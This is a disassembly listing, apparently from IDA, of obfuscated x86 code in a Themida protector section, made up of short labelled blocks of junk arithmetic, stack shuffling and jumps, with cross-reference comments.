; ---------------------------------------------------------------------------
loc_5AB65F: ; CODE XREF: Themida_:0059CB7Ej
add esi, 4
push ecx
jmp loc_5A3EFC
; ---------------------------------------------------------------------------
loc_5AB66B: ; CODE XREF: Themida_:005A8DC8j
pop ebx
sub dl, 0CEh
mov bh, dl
mov edx, [esp]
add esp, 4
push ecx
mov ecx, esp
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
sub ecx, 2
jmp loc_5A9AEE
; ---------------------------------------------------------------------------
loc_5AB68B: ; CODE XREF: Themida_:0059AA1Aj
; Themida_:005ADBDDj
pop edx
mov edi, [esp]
add esp, 4
not edi
xchg edi, edx
xchg edx, edi
xchg edi, [esp]
mov eax, [esp]
jmp loc_59CDBD
; ---------------------------------------------------------------------------
loc_5AB6A3: ; CODE XREF: Themida_:005A4A63j
pop ebp
sub edi, 4
xchg edi, [esp]
jmp loc_5AABDD
; ---------------------------------------------------------------------------
loc_5AB6B2: ; CODE XREF: Themida_:005AAB2Fj
neg ebx
shr ebx, 3
jmp loc_5A4B7C
; ---------------------------------------------------------------------------
loc_5AB6BC: ; CODE XREF: Themida_:0059A8D2j
not ebx
xor ebx, 0FCA513DAh
jmp loc_59E6A9
; ---------------------------------------------------------------------------
loc_5AB6C9: ; CODE XREF: Themida_:005ADCB6j
add ebx, ebp
jmp loc_5A39DE
; ---------------------------------------------------------------------------
loc_5AB6D0: ; CODE XREF: Themida_:0059EA12j
mov [esp], eax
mov eax, 2
jmp loc_59DB7C
; ---------------------------------------------------------------------------
loc_5AB6DD: ; CODE XREF: Themida_:005A24D6j
pop eax
add dword ptr [esp+4], 64587624h
sub dword ptr [esp+4], 245F52DAh
sub dword ptr [esp+4], 6E922586h
add [esp+4], ebp
add dword ptr [esp+4], 6E922586h
add dword ptr [esp+4], 245F52DAh
sub dword ptr [esp+4], 64587624h
pop ebp
pop esi
push ebp
mov ebp, 4
add esi, 425445DBh
add esi, ebp
jmp loc_5AF2FC
; ---------------------------------------------------------------------------
loc_5AB727: ; CODE XREF: Themida_:0059B7D7j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
jmp loc_5AE764
; ---------------------------------------------------------------------------
loc_5AB747: ; CODE XREF: Themida_:005A98EBj
not dh
xor dh, 0C8h
push ebx
push eax
mov al, dh
jmp loc_5AB469
; ---------------------------------------------------------------------------
loc_5AB755: ; CODE XREF: Themida_:0059C339j
; Themida_:005A3C17j
sub al, 67h
sub al, 0D9h
jmp loc_5A129D
; ---------------------------------------------------------------------------
loc_5AB75E: ; CODE XREF: Themida_:005A3160j
add edx, 4
jmp loc_5A021A
; ---------------------------------------------------------------------------
loc_5AB766: ; CODE XREF: Themida_:005A9D21j
pop edx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
add [esp], al
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AB78A: ; CODE XREF: Themida_:005AB832j
add dh, 1
xor dh, cl
jmp loc_5A8939
; ---------------------------------------------------------------------------
loc_5AB794: ; CODE XREF: Themida_:005A1899j
mov edi, 44066D6Ch
xor edi, 2877F04h
jmp loc_599723
; ---------------------------------------------------------------------------
loc_5AB7A4: ; CODE XREF: Themida_:0059E522j
mov dh, cl
mov ecx, [esp]
add esp, 4
xor dh, 0C9h
jmp loc_5AD08F
; ---------------------------------------------------------------------------
loc_5AB7B7: ; CODE XREF: Themida_:0059BC75j
push ecx
push eax
mov ah, 0D5h
mov cl, ah
pop eax
mov bl, 0B9h
sub bl, cl
jmp loc_5AA996
; ---------------------------------------------------------------------------
loc_5AB7C7: ; CODE XREF: Themida_:005A16D9j
push ebx
mov bh, 47h
jmp loc_5A0B1B
; ---------------------------------------------------------------------------
loc_5AB7CF: ; CODE XREF: Themida_:0059F7E8j
add eax, 22A52BF9h
push dword ptr [esp]
pop ebp
push edi
jmp loc_5A470D
; ---------------------------------------------------------------------------
loc_5AB7DE: ; CODE XREF: Themida_:0059A046j
mov cl, dl
pop edx
jmp loc_5A7175
; ---------------------------------------------------------------------------
loc_5AB7E6: ; CODE XREF: Themida_:0059A6EFj
mov dh, al
pop eax
jmp loc_5A2710
; ---------------------------------------------------------------------------
loc_5AB7EE: ; CODE XREF: Themida_:005AB13Dj
inc ch
dec ch
sub esp, 4
mov [esp], edx
mov dh, 9Eh
sub ch, 11h
jmp loc_5A487F
; ---------------------------------------------------------------------------
loc_5AB805: ; CODE XREF: Themida_:005AE2D2j
push edi
push esp
pop edi
push edx
mov edx, 2D774D79h
not edx
jmp loc_5AE03E
; ---------------------------------------------------------------------------
loc_5AB815: ; CODE XREF: Themida_:005A5410j
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5A7F04
; ---------------------------------------------------------------------------
loc_5AB829: ; CODE XREF: Themida_:0059CB5Ej
mov eax, [esp]
add esp, 4
jmp loc_5AB78A
; ---------------------------------------------------------------------------
loc_5AB837: ; CODE XREF: Themida_:005AF136j
add edx, ebp
pop ebp
jmp loc_5A55D4
; ---------------------------------------------------------------------------
loc_5AB83F: ; CODE XREF: Themida_:0059B54Dj
; Themida_:0059ED38j
pop dx
shl dx, 6
shr dx, 2
shr dx, 4
xor dx, 3D57h
and bx, dx
jmp loc_5AA0A3
; ---------------------------------------------------------------------------
loc_5AB85A: ; CODE XREF: Themida_:005A8D9Dj
add esp, 4
pop esi
xchg edi, [esp]
jmp loc_599AEA
; ---------------------------------------------------------------------------
loc_5AB869: ; CODE XREF: Themida_:005A65ABj
and dword ptr [edx+38h], 371A3221h
jnb loc_5A8A8F
or dword ptr [edx+38h], 43762E44h
jmp loc_5A8F01
; ---------------------------------------------------------------------------
loc_5AB882: ; CODE XREF: Themida_:005A5AE0j
pop edx
pop bx
push small 709Fh
mov [esp], bx
push eax
mov ah, 6Bh
shl ah, 6
jmp loc_5ACF5E
; ---------------------------------------------------------------------------
loc_5AB898: ; CODE XREF: Themida_:0059CF38j
push esi
push 794Fh
mov [esp], esp
add dword ptr [esp], 4
pop esi
sub esp, 4
mov [esp], ebx
mov ebx, 12783C2Ah
sub esp, 4
mov [esp], esi
push ebx
mov ebx, 45F35881h
jmp loc_5ACE34
; ---------------------------------------------------------------------------
loc_5AB8C5: ; CODE XREF: Themida_:005A6B36j
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_59F281
; ---------------------------------------------------------------------------
loc_5AB8D3: ; CODE XREF: Themida_:0059ABB7j
pop edi
jmp loc_598CB4
; ---------------------------------------------------------------------------
loc_5AB8D9: ; CODE XREF: Themida_:005A6566j
push ebx
push 32D903F7h
jmp loc_59F828
; ---------------------------------------------------------------------------
loc_5AB8E4: ; CODE XREF: Themida_:005A0540j
; Themida_:005A1EB1j
xchg ebp, [esp]
jmp loc_59C403
; ---------------------------------------------------------------------------
loc_5AB8EC: ; CODE XREF: Themida_:005996D5j
; Themida_:0059DDDFj
mov edx, 2FF930E8h
add eax, 44F6E04h
add eax, 12A3108Dh
add eax, edx
sub eax, 12A3108Dh
push ebp
push edx
mov edx, 0CC54B6Fh
add edx, 615E1EEFh
or edx, 549D4CEDh
not edx
or edx, 6071220Ch
xor edx, 0E53EDD08h
mov ebp, edx
push dword ptr [esp]
jmp loc_5AF68A
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5AF1B9
; ---------------------------------------------------------------------------
loc_5AB936: ; CODE XREF: Themida_:005AB4C1j
add ch, 13h
jmp loc_5A23E9
; ---------------------------------------------------------------------------
loc_5AB93E: ; DATA XREF: Themida_:005987B4o
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AB94D: ; CODE XREF: Themida_:005A41BAj
mov edi, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A433B
; ---------------------------------------------------------------------------
loc_5AB965: ; CODE XREF: Themida_:005AA60Ej
mov ebx, 6A421636h
shr ebx, 3
jmp loc_5AB0EA
; ---------------------------------------------------------------------------
loc_5AB972: ; CODE XREF: Themida_:005A50CEj
push esi
mov esi, 23CC3A7Dh
mov eax, 0A3708E4h
add eax, esi
pop esi
sub edx, 1AC6506Dh
add edx, 7556078Dh
add edx, eax
sub edx, 7556078Dh
add edx, 1AC6506Dh
jmp loc_59E2E1
; ---------------------------------------------------------------------------
loc_5AB99F: ; CODE XREF: Themida_:005A353Aj
push eax
jmp loc_5A27E6
; ---------------------------------------------------------------------------
loc_5AB9A5: ; CODE XREF: Themida_:005AB1D6j
add edi, esi
jmp loc_599E14
; ---------------------------------------------------------------------------
loc_5AB9AC: ; CODE XREF: Themida_:005AD7B7j
shl ebx, 4
and ebx, 7EA06660h
sub ebx, 31BF71EEh
shl ebx, 2
sub ebx, 6F729B71h
mov edi, ebx
mov ebx, [esp]
add esp, 4
sub edi, 54E13A5Fh
jl loc_5A2208
xor edi, 52DE3100h
jg loc_5AF621
push ecx
mov ecx, 4E77E6Eh
jmp loc_59A0B7
; ---------------------------------------------------------------------------
pop edx
loc_5AB9F0: ; CODE XREF: Themida_:005A9461j
add esi, 4
push edi
mov edi, 4
add esi, edi
pop edi
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
shr eax, 8
jmp loc_5A6F0F
; ---------------------------------------------------------------------------
loc_5ABA13: ; CODE XREF: Themida_:0059A634j
push small 2EDDh
mov [esp], dx
mov dh, 0Ah
jmp loc_5A61B9
; ---------------------------------------------------------------------------
loc_5ABA22: ; CODE XREF: Themida_:005A4773j
add ebx, edi
pop edi
push ebp
mov ebp, 53AE2427h
not ebp
push edx
mov edx, 6F0829CFh
jmp loc_59DCC6
; ---------------------------------------------------------------------------
loc_5ABA38: ; CODE XREF: Themida_:005A0780j
push esp
jmp loc_5A2317
; ---------------------------------------------------------------------------
loc_5ABA3E: ; CODE XREF: Themida_:005A48FAj
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_5AE080
; ---------------------------------------------------------------------------
loc_5ABA4E: ; CODE XREF: Themida_:005A7D9Dj
mov edx, esp
add edx, 4
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_5AEA18
; ---------------------------------------------------------------------------
loc_5ABA64: ; CODE XREF: Themida_:0059C6CAj
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5ABD80
; ---------------------------------------------------------------------------
loc_5ABA80: ; CODE XREF: Themida_:005A3879j
mov edx, ebp
push dword ptr [esp]
jmp loc_5AAB8C
; ---------------------------------------------------------------------------
loc_5ABA8A: ; CODE XREF: Themida_:005AECAEj
pop esi
shr ecx, 2
push ebx
push dword ptr [esp]
pop eax
push 6059h
jmp loc_5A15A9
; ---------------------------------------------------------------------------
loc_5ABA9D: ; CODE XREF: Themida_:0059CB30j
jp loc_5AF3A0
dec ebx
jno loc_5A1B79
or ebx, 2B3D7309h
jmp loc_5A2441
; ---------------------------------------------------------------------------
sub bl, 43h
push ebx
loc_5ABAB9: ; CODE XREF: Themida_:0059E6E4j
pop eax
jmp loc_5AFCB0
; ---------------------------------------------------------------------------
loc_5ABABF: ; CODE XREF: Themida_:005A4594j
mov ecx, 46F51035h
or ecx, 66196D89h
jnp loc_5AC886
shl ecx, 8
js loc_5AD1BF
add ecx, 2824304h
mov edx, ecx
jmp loc_5ADD33
; ---------------------------------------------------------------------------
mov ebx, edi
loc_5ABAE8: ; CODE XREF: Themida_:005A1B49j
pop edx
push esi
mov esi, 2
add ebx, esi
mov esi, [esp]
add esp, 4
xor ebx, [esp]
jmp loc_5AA65B
; ---------------------------------------------------------------------------
loc_5ABB02: ; CODE XREF: Themida_:005AE3A5j
pop esp
mov [esp], ebp
mov ebp, esp
jmp loc_5A7D31
; ---------------------------------------------------------------------------
loc_5ABB0D: ; CODE XREF: Themida_:0059BCBFj
mov edi, 3F10734Dh
jmp loc_5A113D
; ---------------------------------------------------------------------------
loc_5ABB17: ; CODE XREF: Themida_:005AAD06j
mov [esp], ecx
push edx
push 607A2AADh
pop edx
jmp loc_59E3F1
; ---------------------------------------------------------------------------
loc_5ABB26: ; CODE XREF: Themida_:00599311j
push esi
mov esi, esp
jmp loc_59E28A
; ---------------------------------------------------------------------------
loc_5ABB2E: ; CODE XREF: Themida_:005AF902j
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ebp, edi
jmp loc_5A3D3A
; ---------------------------------------------------------------------------
loc_5ABB48: ; CODE XREF: Themida_:005A980Bj
mov edx, 471C1E27h
add [esp+8], edx
pop edx
push dword ptr [esp]
pop eax
add esp, 4
add dword ptr [esp], 71906020h
sub [esp], eax
jmp loc_5ACA32
; ---------------------------------------------------------------------------
loc_5ABB6B: ; CODE XREF: Themida_:005A4D93j
add edx, eax
jmp loc_5A3512
; ---------------------------------------------------------------------------
loc_5ABB72: ; CODE XREF: Themida_:005A0FDEj
sub edx, 0D791EDB9h
add ebx, edx
jmp loc_59F104
; ---------------------------------------------------------------------------
loc_5ABB7F: ; CODE XREF: Themida_:0059B338j
; Themida_:005A0DB5j
mov edi, edx
mov edx, [esp]
push ebp
push esp
jmp loc_5989B1
; ---------------------------------------------------------------------------
loc_5ABB8B: ; CODE XREF: Themida_:005A9BD1j
mov eax, 56305DFAh
mov edi, eax
pop eax
shl edi, 3
shr edi, 2
sub esp, 4
mov [esp], ebx
mov ebx, 17079FFh
sub ebx, 1
shl ebx, 5
or ebx, 3FF006DBh
jmp loc_5AF98C
; ---------------------------------------------------------------------------
loc_5ABBBB: ; CODE XREF: Themida_:005A49CEj
add esp, 4
pop esi
loc_5ABBC2: ; CODE XREF: Themida_:005A0BE0j
push 7F4Eh
jmp loc_5AB2E9
; ---------------------------------------------------------------------------
loc_5ABBCC: ; CODE XREF: Themida_:005A30C2j
pop edx
add ecx, 29940A50h
jmp loc_59B957
; ---------------------------------------------------------------------------
loc_5ABBD8: ; CODE XREF: Themida_:005AED1Bj
push ecx
push edi
mov edi, 7F1C3021h
mov ecx, 83F0E95Dh
sub ecx, 338C0DE8h
sub ecx, 0B890D40h
jmp loc_59D374
; ---------------------------------------------------------------------------
loc_5ABBF5: ; CODE XREF: Themida_:005AA4DEj
js loc_59B164
jmp loc_5AA86F
; ---------------------------------------------------------------------------
and al, 0C9h
or al, 33h
not al
push ecx
pop esi
loc_5ABC08: ; CODE XREF: Themida_:005A4CACj
mov si, 2
add [esp+2], si
jmp loc_59A6A6
; ---------------------------------------------------------------------------
loc_5ABC16: ; CODE XREF: Themida_:005AF691j
sub eax, 5A03512h
add eax, 7584258Fh
sub eax, ebp
sub eax, 7584258Fh
add eax, 5A03512h
pop ebp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5A71DC
; ---------------------------------------------------------------------------
loc_5ABC3C: ; CODE XREF: Themida_:00599FABj
mov edx, 0F2BAF70Dh
xor eax, edx
jmp loc_59940B
; ---------------------------------------------------------------------------
loc_5ABC48: ; CODE XREF: Themida_:005A3F25j
add edx, eax
jmp loc_5A5D67
; ---------------------------------------------------------------------------
loc_5ABC4F: ; CODE XREF: Themida_:0059FC05j
mov ebx, 32EE7D04h
or ebx, 53D87871h
jbe loc_5ACBFC
add ebx, 0FB3C8468h
add ebp, ebx
jmp loc_5A4654
; ---------------------------------------------------------------------------
loc_5ABC6D: ; CODE XREF: Themida_:005A94D5j
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_5AB3CF
; ---------------------------------------------------------------------------
loc_5ABC7E: ; CODE XREF: Themida_:00599B71j
add ebx, 4
xchg ebx, [esp]
jmp loc_5AC38E
; ---------------------------------------------------------------------------
loc_5ABC89: ; CODE XREF: Themida_:0059C332j
push esi
push ebp
push 62365A66h
pop ebp
shr ebp, 4
jnz loc_5A6AC0
push eax
mov eax, 2E23690Ch
shl eax, 8
jnp loc_59B49F
loc_5ABCA9: ; CODE XREF: Themida_:0059BA61j
jnz loc_5A6F66
jmp loc_5AAEB1
; ---------------------------------------------------------------------------
push 1C06h
mov [esp], esi
push edx
loc_5ABCBD: ; CODE XREF: Themida_:005A1F2Dj
add esi, 214B200Ah
add esi, 68AB291Ah
sub esi, 40D96C98h
add esi, 8B3749Ah
add esi, 1FE91078h
jmp loc_5AE69E
; ---------------------------------------------------------------------------
loc_5ABCE0: ; CODE XREF: Themida_:005AA166j
add ebx, eax
pop eax
jmp loc_5AC7CD
; ---------------------------------------------------------------------------
loc_5ABCE8: ; CODE XREF: Themida_:005A072Ej
push esi
mov esi, 2
mov eax, esi
jmp loc_59B974
; ---------------------------------------------------------------------------
loc_5ABCF5: ; CODE XREF: Themida_:0059A103j
mov eax, 4
add [esp+4], eax
pop eax
push dword ptr [esp]
pop eax
add esp, 4
push ecx
push ebx
mov ebx, 5B463DB4h
inc ebx
jmp loc_5A19B1
; ---------------------------------------------------------------------------
loc_5ABD13: ; CODE XREF: Themida_:005ABDB9j
mov [esp], ebx
push edx
mov edx, 4
jmp loc_59AEEA
; ---------------------------------------------------------------------------
loc_5ABD21: ; CODE XREF: Themida_:005A69D7j
sub edx, ebp
jmp loc_5AED7D
; ---------------------------------------------------------------------------
loc_5ABD28: ; CODE XREF: Themida_:005AE1A6j
mov dx, [esp]
push 8DEh
mov [esp], edx
jmp loc_5A801F
; ---------------------------------------------------------------------------
loc_5ABD39: ; CODE XREF: Themida_:005A836Aj
push edx
mov dl, 65h
dec dl
and dl, 0BFh
add dl, 57h
jmp loc_5A7B41
; ---------------------------------------------------------------------------
loc_5ABD49: ; CODE XREF: Themida_:005A2590j
mov [esp], edx
mov edx, 63F47A6Ah
xor edi, edx
mov edx, [esp]
add esp, 4
add esi, 26180E49h
add esi, edi
sub esi, 26180E49h
pop edi
jmp loc_59F240
; ---------------------------------------------------------------------------
loc_5ABD6D: ; CODE XREF: Themida_:0059D833j
sub esp, 4
jmp loc_59CB24
; ---------------------------------------------------------------------------
loc_5ABD78: ; CODE XREF: Themida_:005A8764j
mov ecx, [esp]
jmp loc_59DEF4
; ---------------------------------------------------------------------------
loc_5ABD80: ; CODE XREF: Themida_:005ABA7Bj
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5A392D
; ---------------------------------------------------------------------------
loc_5ABD94: ; CODE XREF: Themida_:005A43D6j
push 5B1Ah
jmp loc_59D6ED
; ---------------------------------------------------------------------------
loc_5ABD9E: ; CODE XREF: Themida_:0059F694j
pop edx
shr edx, 8
jmp loc_5A7BE8
; ---------------------------------------------------------------------------
loc_5ABDA7: ; CODE XREF: Themida_:005AB1C0j
add edx, 38847B42h
add edx, 0B2272C8Ch
add esi, edx
pop edx
sub esp, 4
jmp loc_5ABD13
; ---------------------------------------------------------------------------
loc_5ABDBE: ; CODE XREF: Themida_:005AA468j
mov eax, 6980359Ah
dec eax
jmp loc_5A393D
; ---------------------------------------------------------------------------
loc_5ABDC9: ; CODE XREF: Themida_:0059EA1Dj
; Themida_:005AEBE5j
mov [esp], edx
push ebp
mov ebp, esp
jmp loc_599240
; ---------------------------------------------------------------------------
loc_5ABDD4: ; CODE XREF: Themida_:0059C976j
mov cl, 5Fh
push edx
jmp loc_59FCE3
; ---------------------------------------------------------------------------
loc_5ABDDC: ; CODE XREF: Themida_:005A8D72j
push ecx
mov ecx, 1
and eax, ecx
push dword ptr [esp]
pop ecx
jmp loc_599522
; ---------------------------------------------------------------------------
loc_5ABDED: ; CODE XREF: Themida_:0059DF50j
and eax, edx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59C11D
; ---------------------------------------------------------------------------
loc_5ABDFA: ; CODE XREF: Themida_:0059D2B8j
sub ebx, 6BAAC20h
mov edx, ebx
pop ebx
xor edx, 47AE7FEAh
jb loc_5A8EBD
sub edx, 47EE0FBFh
sub edx, 5D2B7F12h
jl loc_5A4EC3
or edx, 7A82E57h
mov ebx, edi
mov ch, 73h
loc_5ABE2B: ; CODE XREF: Themida_:005A993Ej
jmp loc_5A9521
; ---------------------------------------------------------------------------
loc_5ABE30: ; CODE XREF: Themida_:0059D236j
mov [esp], ebx
jmp loc_59F8B8
; ---------------------------------------------------------------------------
loc_5ABE38: ; CODE XREF: Themida_:0059BA8Dj
mov esi, 4381286Bh
jmp loc_59C5F4
; ---------------------------------------------------------------------------
loc_5ABE42: ; CODE XREF: Themida_:005ADE37j
and edi, 7537526Ch
dec edi
js loc_59FE5A
push esi
push edx
mov edx, 3E3F3D69h
push 0DE4390Ah
jmp loc_5A8E7A
; ---------------------------------------------------------------------------
loc_5ABE60: ; CODE XREF: Themida_:005AEFCDj
push 27D2h
mov [esp], ecx
push 7045h
jmp loc_5AD314
; ---------------------------------------------------------------------------
loc_5ABE72: ; CODE XREF: Themida_:005AF170j
push ecx
mov ecx, esp
jmp loc_59CFC7
; ---------------------------------------------------------------------------
loc_5ABE7A: ; CODE XREF: Themida_:005AB53Dj
mov eax, 6BA225FAh
xor eax, 7B765575h
xor edx, eax
pop eax
add ebp, edx
pop edx
push 6328h
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
jmp loc_5A8243
; ---------------------------------------------------------------------------
loc_5ABEA5: ; CODE XREF: Themida_:005A0C18j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
mov eax, 6A6338DAh
or eax, 4F753E07h
add eax, 3E710C4Eh
jl loc_59BFFB
neg eax
jns loc_59BA50
shl eax, 7
jp loc_59920E
mov ecx, edi
mov ebx, esi
loc_5ABEDC: ; CODE XREF: Themida_:0059B788j
mov ecx, [esp]
add esp, 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5ABEEA: ; CODE XREF: Themida_:0059B6A4j
xor eax, 0D468F5ADh
jmp loc_59FB57
; ---------------------------------------------------------------------------
loc_5ABEF4: ; CODE XREF: Themida_:005A5C37j
pop ecx
mov ebx, [esp]
jmp loc_5AC3AB
; ---------------------------------------------------------------------------
loc_5ABEFD: ; CODE XREF: Themida_:005AC5E7j
not dword ptr [esp]
pop edi
add edi, 0EFEF9CD4h
add esi, edi
pop edi
add esi, 51173C29h
push dword ptr [esp]
pop edx
jmp loc_5A97F6
; ---------------------------------------------------------------------------
loc_5ABF19: ; CODE XREF: Themida_:005A0F5Bj
xor edi, 3E395C00h
xor edi, 1AC103C5h
add eax, edi
pop edi
pop ecx
xor ebx, eax
jmp loc_59FAA1
; ---------------------------------------------------------------------------
loc_5ABF30: ; CODE XREF: Themida_:00599830j
; Themida_:005AE158j
mov ah, 3Dh
or ah, 22h
sub ah, 35h
shr ah, 7
inc ah
neg ah
add ah, 2
sub bl, ah
pop eax
not bl
xor bl, 4Fh
sub al, bl
pop ebx
add al, 0BBh
push bx
jmp loc_5A6750
; ---------------------------------------------------------------------------
loc_5ABF56: ; CODE XREF: Themida_:0059FCDEj
pop small word ptr [esp]
push small 2C21h
jmp loc_59C86D
; ---------------------------------------------------------------------------
loc_5ABF63: ; CODE XREF: Themida_:005A4059j
neg edx
jbe loc_5AF696
jmp loc_5A2550
; ---------------------------------------------------------------------------
mov ecx, 4
mov edx, eax
loc_5ABF77: ; CODE XREF: Themida_:0059EE44j
push ebx
mov bh, 1
push eax
push ecx
mov cl, 1Bh
not cl
inc cl
jl loc_59AA7C
jmp loc_5AC2C2
; ---------------------------------------------------------------------------
pop ecx
jmp loc_5A0844
; ---------------------------------------------------------------------------
inc ebx
loc_5ABF94: ; CODE XREF: Themida_:0059EBF9j
push esp
pop dword ptr [esp]
jmp loc_5A4357
; ---------------------------------------------------------------------------
loc_5ABF9D: ; CODE XREF: Themida_:0059C3FEj
sub edx, 174F6DB7h
sub edx, ebx
add edx, 174F6DB7h
sub edx, 355C4354h
mov ebx, [esp]
add esp, 4
jmp loc_5A6C5E
; ---------------------------------------------------------------------------
loc_5ABFBF: ; CODE XREF: Themida_:0059B1E6j
mov [esp], ebp
push 6D0F1873h
jmp loc_5AA0BE
; ---------------------------------------------------------------------------
loc_5ABFCC: ; CODE XREF: Themida_:005ACF1Cj
not eax
inc eax
shr eax, 3
dec eax
not eax
shr eax, 1
push 3630h
mov [esp], edi
push eax
mov eax, 0FD116D3h
shr eax, 5
shr eax, 6
jmp loc_59B69D
; ---------------------------------------------------------------------------
loc_5ABFF0: ; CODE XREF: Themida_:005A72E3j
pop edx
shl esi, 3
sub esi, 0FAEBE748h
add edi, esi
mov esi, [esp]
add esp, 4
add ecx, edi
pop edi
pop ebx
jmp loc_59E409
; ---------------------------------------------------------------------------
loc_5AC00E: ; DATA XREF: Themida_:00598704o
mov cx, [esp]
push ebx
push esp
pop ebx
jmp loc_5ACD41
; ---------------------------------------------------------------------------
loc_5AC01A: ; CODE XREF: Themida_:005AAEACj
mov [esp], si
push small word ptr [esp+2]
mov si, [esp]
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_5A6790
; ---------------------------------------------------------------------------
loc_5AC035: ; CODE XREF: Themida_:0059F0B2j
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
shr ecx, 0
or eax, eax
jz loc_5A6A7C
push ebx
push 176Dh
jmp loc_59CF14
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_59B07F
; ---------------------------------------------------------------------------
loc_5AC063: ; CODE XREF: Themida_:005A908Fj
xchg bl, al
jmp loc_59A6EB
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2ABAh
mov [esp], edi
push esp
mov edi, [esp]
jmp loc_5A273E
; ---------------------------------------------------------------------------
loc_5AC07F: ; CODE XREF: Themida_:005AD744j
xor eax, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push 0B5h
mov [esp], edi
push 5C8Fh
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
add edi, 4
jmp loc_5A8AD5
; ---------------------------------------------------------------------------
loc_5AC0B4: ; DATA XREF: Themida_:00598868o
lodsb
xor al, bl
push ecx
push esp
pop ecx
push esi
push edx
mov edx, 4
mov esi, edx
pop edx
add ecx, esi
pop esi
push edx
mov edx, 4
sub ecx, edx
pop edx
xchg ecx, [esp]
pop esp
mov [esp], edx
jmp loc_5A895D
; ---------------------------------------------------------------------------
loc_5AC0DC: ; CODE XREF: Themida_:005ACC42j
pop edi
jmp loc_5AD3B5
; ---------------------------------------------------------------------------
loc_5AC0E2: ; CODE XREF: Themida_:00598F21j
mov [esp], eax
push 4BFh
mov [esp], ecx
mov cl, bl
mov ah, cl
pop ecx
push eax
mov ah, ch
mov bl, ah
pop eax
mov ch, ah
pop eax
xor ch, 3Dh
push ecx
jmp loc_5A7FE5
; ---------------------------------------------------------------------------
loc_5AC104: ; CODE XREF: Themida_:005A55F9j
mov edx, [esp]
jmp loc_5A2573
; ---------------------------------------------------------------------------
loc_5AC10C: ; CODE XREF: Themida_:00598E82j
pop ebx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
push edx
pop ebx
mov edx, [esp]
add esp, 4
loc_5AC124: ; CODE XREF: Themida_:005A52B3j
push ebp
mov ebp, esp
jmp loc_5A66D9
; ---------------------------------------------------------------------------
loc_5AC12C: ; CODE XREF: Themida_:0059F48Cj
mov ah, 76h
push 1B9Ch
mov [esp], ecx
jmp loc_5AAC87
; ---------------------------------------------------------------------------
loc_5AC13B: ; CODE XREF: Themida_:005AC710j
mov esi, 3E87882h
jmp loc_599484
; ---------------------------------------------------------------------------
loc_5AC145: ; CODE XREF: Themida_:005A34ADj
mov [esp], edx
jmp loc_5A9C9D
; ---------------------------------------------------------------------------
loc_5AC14D: ; CODE XREF: Themida_:005AE709j
push edx
mov edx, 0B9234C30h
add ebx, 495E1232h
sub ebx, edx
sub ebx, 495E1232h
pop edx
jmp loc_5A5F19
; ---------------------------------------------------------------------------
loc_5AC167: ; CODE XREF: Themida_:0059E552j
or edx, eax
shl edx, 1
push 3247h
jmp loc_599A8A
; ---------------------------------------------------------------------------
loc_5AC175: ; CODE XREF: Themida_:005A0B38j
add ebp, 36E553C3h
sub ebp, 31B73E8Eh
add ebp, ecx
add ebp, 31B73E8Eh
jmp loc_599792
; ---------------------------------------------------------------------------
loc_5AC18E: ; CODE XREF: Themida_:0059EEA5j
push esi
mov si, 1AB2h
shr si, 3
sub si, 0FFFFh
push 4DB1h
mov [esp], edi
mov di, 6465h
jmp loc_5A4720
; ---------------------------------------------------------------------------
loc_5AC1AD: ; CODE XREF: Themida_:0059F775j
sub edi, 0FE3563Fh
sub edi, 748637EBh
add edi, eax
push eax
mov eax, 1D8C6299h
sub esp, 4
mov [esp], edi
mov edi, 502A37FDh
jmp loc_5A8C4D
; ---------------------------------------------------------------------------
loc_5AC1D4: ; CODE XREF: Themida_:0059FEEEj
shr ebx, 5
jns loc_5A72FE
shl ebx, 3
add ebx, 0CE6A6F7Bh
jmp loc_59EB3B
; ---------------------------------------------------------------------------
loc_5AC1EB: ; CODE XREF: Themida_:005A1AC8j
inc ebx
jp loc_5A8459
xor ebx, 73DA5DECh
jl loc_5A0E5B
push edi
pop esi
loc_5AC200: ; CODE XREF: Themida_:005A0E33j
; Themida_:loc_5A411Aj
pop edx
xchg edi, [esp]
mov esp, [esp]
jmp loc_59BDF3
; ---------------------------------------------------------------------------
loc_5AC20C: ; CODE XREF: Themida_:005AA311j
xor ebx, [esp]
mov esp, [esp]
mul cl
movzx cx, ah
push small 194h
mov [esp], cx
movzx cx, al
jmp loc_5A88FB
; ---------------------------------------------------------------------------
